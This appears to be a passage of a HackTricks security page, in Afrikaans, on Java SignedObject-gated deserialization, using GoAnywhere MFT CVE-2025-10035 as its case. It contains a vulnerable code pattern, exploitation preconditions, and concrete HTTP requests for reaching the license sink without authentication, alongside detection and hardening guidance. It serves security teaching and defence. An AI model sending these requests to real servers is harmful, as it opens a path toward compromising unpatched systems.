+- Die kode gebruik 'n validating wrapper (bv., Apache Commons IO ValidatingObjectInputStream of 'n pasgemaakte adapter) om die buitenste tipe te beperk tot SignedObject (of byte[]). +- Die binneste objek wat deur SignedObject.getObject() teruggegee word is waar gadget-kettinge kan ontbrand (bv., CommonsBeanutils1), maar slegs ná 'n handtekening-verifikasiehek. + +## Tipiese kwesbare patroon + +'n Vereenvoudigde voorbeeld gebaseer op com.linoma.license.gen2.BundleWorker.verify: +```java +private static byte[] verify(byte[] payload, KeyConfig keyCfg) throws Exception { +String sigAlg = "SHA1withDSA"; +if ("2".equals(keyCfg.getVersion())) { +sigAlg = "SHA512withRSA"; // key version controls algorithm +} +PublicKey pub = getPublicKey(keyCfg); +Signature sig = Signature.getInstance(sigAlg); + +// 1) Outer, "guarded" deserialization restricted to SignedObject +SignedObject so = (SignedObject) JavaSerializationUtilities.deserialize( +payload, SignedObject.class, new Class[]{ byte[].class }); + +if (keyCfg.isServer()) { +// Hardened server path +return ((SignedContainer) JavaSerializationUtilities.deserializeUntrustedSignedObject( +so, SignedContainer.class, new Class[]{ byte[].class } +)).getData(); +} else { +// 2) Signature check using a baked-in public key +if (!so.verify(pub, sig)) { +throw new IOException("Unable to verify signature!"); +} +// 3) Inner object deserialization (potential gadget execution) +SignedContainer inner = (SignedContainer) so.getObject(); +return inner.getData(); +} +} +``` +Sleutelwaarnemings: +- Die validating deserializer by (1) blokkeer arbitrêre topvlak gadget-klasse; slegs SignedObject (of raw byte[]) word aanvaar. +- Die RCE-primitive sal in die innerlike objek wees wat deur SignedObject.getObject() by (3) gematerialiseer word. +- 'n Signature gate by (2) dwing af dat die SignedObject teen 'n product-baked public key moet verify(). Tensy die aanvaller 'n geldige signature kan produseer, deserialiseer die innerlike gadget nooit. + +## Oorwegings vir uitbuiting + +Om code execution te bereik, moet 'n aanvaller 'n korrek getekende SignedObject lewer wat 'n kwaadwillige gadget chain as sy innerlike objek omsluit. Dit vereis gewoonlik een van die volgende: + +- Private key compromise: bekom die ooreenstemmende private sleutel wat deur die produk gebruik word om license objects te sign/verify. +- Signing oracle: dwing die vendor of 'n vertroude signing service om attacker-controlled serialized content te sign (bv. as 'n license server 'n ingeslote arbitrary object uit client input teken). +- Alternate reachable path: vind 'n server-side pad wat die innerlike objek deserialiseer sonder om verify() af te dwing, of wat signature checks onder 'n spesifieke modus oorslaan. + +As een van hierdie afwesig is, sal signature verification uitbuiting voorkom ondanks die teenwoordigheid van 'n deserialization sink. + +## Pre-auth bereikbaarheid via foutafhandelingsvloei + +Selfs wanneer 'n deserialization endpoint blyklik authentisering of 'n session-bound token te vereis, kan foutafhandelingskode per ongeluk die token skep en aan 'n unauthenticated session heg. + +Voorbeeld bereikbaarheidsketting (GoAnywhere MFT): +- Target servlet: /goanywhere/lic/accept/ vereis 'n session-bound license request token. +- Error path: die tref van /goanywhere/license/Unlicensed.xhtml met trailing junk en invalid JSF state veroorsaak AdminErrorHandlerServlet, wat die volgende doen: +- SessionUtilities.generateLicenseRequestToken(session) +- Redirects to vendor license server met 'n signed license request in bundle=<...> +- Die bundle kan offline ontsleutel word (hard-coded keys) om die GUID te herstel. Behou dieselfde session cookie en POST na /goanywhere/lic/accept/ met attacker-controlled bundle bytes, en bereik so die SignedObject sink pre-auth. + +Bewys-van-bereikbaarheid (impact-loos) probe: +```http +GET /goanywhere/license/Unlicensed.xhtml/x?javax.faces.ViewState=x&GARequestAction=activate HTTP/1.1 +Host: +``` +- Unpatched: 302 Location header to https://my.goanywhere.com/lic/request?bundle=... en Set-Cookie: ASESSIONID=... +- Patched: redirect sonder bundle (geen token-generering). + +## Blue-team deteksie + +Wysers in stack traces/logs dui sterk daarop dat daar pogings is om 'n SignedObject-gated sink te bereik: +``` +java.io.ObjectInputStream.readObject +java.security.SignedObject.getObject +com.linoma.license.gen2.BundleWorker.verify +com.linoma.license.gen2.BundleWorker.unbundle +com.linoma.license.gen2.LicenseController.getResponse +com.linoma.license.gen2.LicenseAPI.getResponse +com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost +``` +## Verhardingsriglyne + +- Handhaaf handtekeningverifikasie voor enige getObject() oproep en verseker dat die verifikasie die beoogde publieke sleutel/algoritme gebruik. +- Vervang direkte SignedObject.getObject() oproepe met 'n versterkte wrapper wat filterering weer op die binneste stroom toepas (bv. deserializeUntrustedSignedObject gebruik ValidatingObjectInputStream/ObjectInputFilter allow-lists). +- Verwyder foutbehandelingsvloei wat session-bound tokens aan nie-geauthentiseerde gebruikers uitreik. Beskou foutpaaie as attack surface. +- Verkies Java serialization filters (JEP 290) met streng allow-lists vir beide buitenste en binneste deserialisasies. Voorbeeld: +```java +ObjectInputFilter filter = info -> { +Class c = info.serialClass(); +if (c == null) return ObjectInputFilter.Status.UNDECIDED; +if (c == java.security.SignedObject.class || c == byte[].class) return ObjectInputFilter.Status.ALLOWED; +return ObjectInputFilter.Status.REJECTED; // outer layer +}; +ObjectInputFilter.Config.setSerialFilter(filter); +// For the inner object, apply a separate strict DTO allow-list +``` +## Voorbeeld aanvalsketting samevatting (CVE-2025-10035) + +1) Pre-auth token minting via foutbehandelaar: +```http +GET /goanywhere/license/Unlicensed.xhtml/watchTowr?javax.faces.ViewState=watchTowr&GARequestAction=activate +``` +Ontvang 302 met bundle=... en ASESSIONID=...; decrypt bundle offline om GUID te herstel. + +2) Bereik die sink pre-auth met dieselfde cookie: +```http +POST /goanywhere/lic/accept/ HTTP/1.1 +Cookie: ASESSIONID= +Content-Type: application/x-www-form-urlencoded + +bundle= +``` +3) RCE vereis 'n korrek ondertekende SignedObject wat 'n gadget chain omsluit. Navorsers kon nie signature verification omseil nie; uitbuiting hang af van toegang tot 'n ooreenstemmende private key of 'n signing oracle. + +## Gefikseerde weergawes en gedragsveranderinge + +- GoAnywhere MFT 7.8.4 en Sustain Release 7.6.3: +- Versterk inner deserialization deur SignedObject.getObject() te vervang met 'n wrapper (deserializeUntrustedSignedObject). +- Verwyder error-handler token generation, en sluit pre-auth reachability. + +## Aantekeninge oor JSF/ViewState + +Die reachability-truuk benut 'n JSF-blad (.xhtml) en 'n ongeldig javax.faces.ViewState om na 'n bevoorregte error handler te roeteer. Alhoewel dit nie 'n JSF deserialization-kwessie is nie, is dit 'n herhalende pre-auth patroon: breek in error handlers wat bevoorregte aksies uitvoer en security-relevant session attributes stel. + +## References + +- [watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/) +- [Fortra advisory FI-2025-012 – Deserialization Vulnerability in GoAnywhere MFT's License Servlet](https://www.fortra.com/security/advisories/product-security/fi-2025-012) + +{{#include ../../banners/hacktricks-training.md}}